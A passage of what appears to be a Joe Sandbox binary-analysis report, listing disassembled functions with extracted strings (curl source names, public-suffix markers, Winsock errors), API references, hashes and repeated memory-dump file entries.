                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: .DAFSA@PSL_$===BEGIN ICANN DOMAINS===$===BEGIN PRIVATE DOMAINS===$===END ICANN DOMAINS===$===END PRIVATE DOMAINS===
                                            • API String ID: 0-2839762339
                                            • Opcode ID: b57d7bef73fcfe12fd0023e0a083345d0aee7d506398c119ccbac84f4ffafa5a
                                            • Instruction ID: 35eccd8103c03dcd180266bf3303155845e4fe71305ae43e5c8d1243c2fbf1b9
                                            • Opcode Fuzzy Hash: b57d7bef73fcfe12fd0023e0a083345d0aee7d506398c119ccbac84f4ffafa5a
                                            • Instruction Fuzzy Hash: 76022DB16083419FD7249F24C845BEBB7E4AF54346F14882CED8997292EBB8D90DC792
                                            Function 0043F10D Relevance: 6.6, Strings: 5, Instructions: 322COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: $Time-out$WSACloseEvent failed (%d)$WSAEnumNetworkEvents failed (%d)$d
                                            • API String ID: 0-1549605536
                                            • Opcode ID: 73769a71a10327b3b4c42a3b3c7b71044655a01d6cbcc120c1711885e2d3e75f
                                            • Instruction ID: 67b885108259c20771d46be5ef6e3e017856db0b930a64c968b3eea8d16c8adb
                                            • Opcode Fuzzy Hash: 73769a71a10327b3b4c42a3b3c7b71044655a01d6cbcc120c1711885e2d3e75f
                                            • Instruction Fuzzy Hash: 28B15B30E443409BF7209A60C884BBBB3D4BF88348F14653AF98996291D7B9EC5DC757
                                            Function 00498F90 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 256COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetUnicastIpAddressTable.IPHLPAPI(?,?), ref: 00498FE6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: AddressTableUnicast
                                            • String ID: 127.0.0.1$::1
                                            • API String ID: 2844252683-3302937015
                                            • Opcode ID: c44f0b960aca79d6e6e9a62b2147ce97587bb55bb92905363d11fe4c3230cb5e
                                            • Instruction ID: 1326f5f5c18897d39be0c26db24aa3d802f68a816affea37597e4e8d0a315570
                                            • Opcode Fuzzy Hash: c44f0b960aca79d6e6e9a62b2147ce97587bb55bb92905363d11fe4c3230cb5e
                                            • Instruction Fuzzy Hash: 83A18171C14342ABE710DF25C84572ABBA0BF95304F158A2EF8488B261F775ED90D796
                                            Function 0048C900 Relevance: 5.4, Strings: 4, Instructions: 369COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: 0123456789$0123456789ABCDEF$0123456789abcdef$:
                                            • API String ID: 0-3285806060
                                            • Opcode ID: a41f5d632560b7db58e20ac0ef969034c9cb4cc6bdcaa0fc51913dcac5c39b75
                                            • Instruction ID: 825e118bd94cbfd7448f5845077a94cac486c31d0bd47f513692c603e10edd24
                                            • Opcode Fuzzy Hash: a41f5d632560b7db58e20ac0ef969034c9cb4cc6bdcaa0fc51913dcac5c39b75
                                            • Instruction Fuzzy Hash: 5AD1E372A083018BD724BA28D8C136FBBD1AF91344F148D3EE8D997381DB789845C76A
                                            Function 0075CC90 Relevance: 5.4, Strings: 4, Instructions: 351COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: .$@$gfff$gfff
                                            • API String ID: 0-2633265772
                                            • Opcode ID: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
                                            • Instruction ID: 220b43c07c32c453e496b6346f5cbbf76c69462adfe8fcaf30d971b9a82f7214
                                            • Opcode Fuzzy Hash: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
                                            • Instruction Fuzzy Hash: D3D1C271A047058FD725DE28C4843ABBBE2AF80345F18C92DEC498B245E7B8DD4DC792
                                            Function 003F5EB0 Relevance: 4.4, Strings: 3, Instructions: 637COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: %$&$urlapi.c
                                            • API String ID: 0-3891957821
                                            • Opcode ID: 3e206647c3bbc9274c1f9a7d1cd77256e6b37ce46b505301ff777e3edab353a8
                                            • Instruction ID: acdd6128bde37a5e3013a53cf9604fb7ca3792de08e1876da8b9e4b96b6e28a0
                                            • Opcode Fuzzy Hash: 3e206647c3bbc9274c1f9a7d1cd77256e6b37ce46b505301ff777e3edab353a8
                                            • Instruction Fuzzy Hash: 7022E0B1A083486BEB225A209C5377B77D99F91318F18452EFB8A462D3F739DC488353
                                            Function 007617A0 Relevance: 4.0, Strings: 2, Instructions: 1506COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: $
                                            • API String ID: 0-227171996
                                            • Opcode ID: 8f5a4f7c661d8f255e4045e700744bde230a576d623e899a0418136eab48c9aa
                                            • Instruction ID: 487cf6995d32da1a00bc6f51ea7db038cdf129996a6ce2e09ccb6a5ec35d23ea
                                            • Opcode Fuzzy Hash: 8f5a4f7c661d8f255e4045e700744bde230a576d623e899a0418136eab48c9aa
                                            • Instruction Fuzzy Hash: 1BE233B1A087818FD350DF29C58475AFBE0BF88744F14891DE89697362E779E845CF82
                                            Function 0043A5B0 Relevance: 3.9, Strings: 3, Instructions: 153COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: .12$M 0.$NT L
                                            • API String ID: 0-1919902838
                                            • Opcode ID: 41f41973f8e67fc61346f0f9e3c58c2ef0f1bf550b214c0bb9402cbc489a9a9f
                                            • Instruction ID: 5a2db7e1f4a80f2b6f4c70dfe22093a189392026e10a424495d5eecda19d3e0f
                                            • Opcode Fuzzy Hash: 41f41973f8e67fc61346f0f9e3c58c2ef0f1bf550b214c0bb9402cbc489a9a9f
                                            • Instruction Fuzzy Hash: 4851C3746403409BDB11DF20C8C47AA77E4BF49308F14956EEC889F392D379EA94CB9A
                                            Function 003FDCF0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: -----END PUBLIC KEY-----$-----BEGIN PUBLIC KEY-----$vtls/vtls.c
                                            • API String ID: 0-424504254
                                            • Opcode ID: cf4023e7b849401450a6b38b8684dc9d202966414e080108774e95a2ecc6e668
                                            • Instruction ID: 441702b396439ef7af6b83987c72299b0465ae4bc6a984c2c6abeaa3e4c575e6
                                            • Opcode Fuzzy Hash: cf4023e7b849401450a6b38b8684dc9d202966414e080108774e95a2ecc6e668
                                            • Instruction Fuzzy Hash: E7315D62A083495BD3271A3C6C8DA357AD65FE1318F1D433DFA859B3D6F6598C00C392
                                            Function 00748BF0 Relevance: 3.0, Strings: 2, Instructions: 512COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: #$4
                                            • API String ID: 0-353776824
                                            • Opcode ID: 44a18430a3b7af22e8b78956380747c9bc1f17d2bbcda6e53aa964aea260d723
                                            • Instruction ID: b437d7eb2f857cb55f5ca98184fe910b872f1507da8cda6206dec99203db4f32
                                            • Opcode Fuzzy Hash: 44a18430a3b7af22e8b78956380747c9bc1f17d2bbcda6e53aa964aea260d723
                                            • Instruction Fuzzy Hash: 8522B2316087468FC354DF28C4806AEF7E0FF85318F158A2EE99997391D778A885CB96
                                            Function 00741BD0 Relevance: 3.0, Strings: 2, Instructions: 463COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID: #$4
                                            • API String ID: 0-353776824
                                            • Opcode ID: 8c6442ad21fd0c17796323fa4a97b6694f938926aff987d17d07e0839adae3a5
                                            • Instruction ID: 5a58a679656a188ed3edde2f462f8557f8b2aa02457c3e4e62fad13b2e6b46b2
                                            • Opcode Fuzzy Hash: 8c6442ad21fd0c17796323fa4a97b6694f938926aff987d17d07e0839adae3a5
